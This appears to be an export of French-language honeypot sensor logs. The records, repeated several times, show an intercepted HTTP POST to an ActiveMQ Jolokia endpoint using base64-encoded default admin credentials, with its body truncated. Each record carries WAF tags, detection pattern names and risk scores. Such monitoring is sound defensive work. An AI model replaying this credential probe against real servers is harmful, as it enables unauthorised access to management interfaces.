"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Moyen · 61
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
22
Recommandation
Investiguer
Tags
950406:ssrf-3
950468:nosqli-3
950470:nosqli-3
950600:k8s-api
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 61
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4=
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
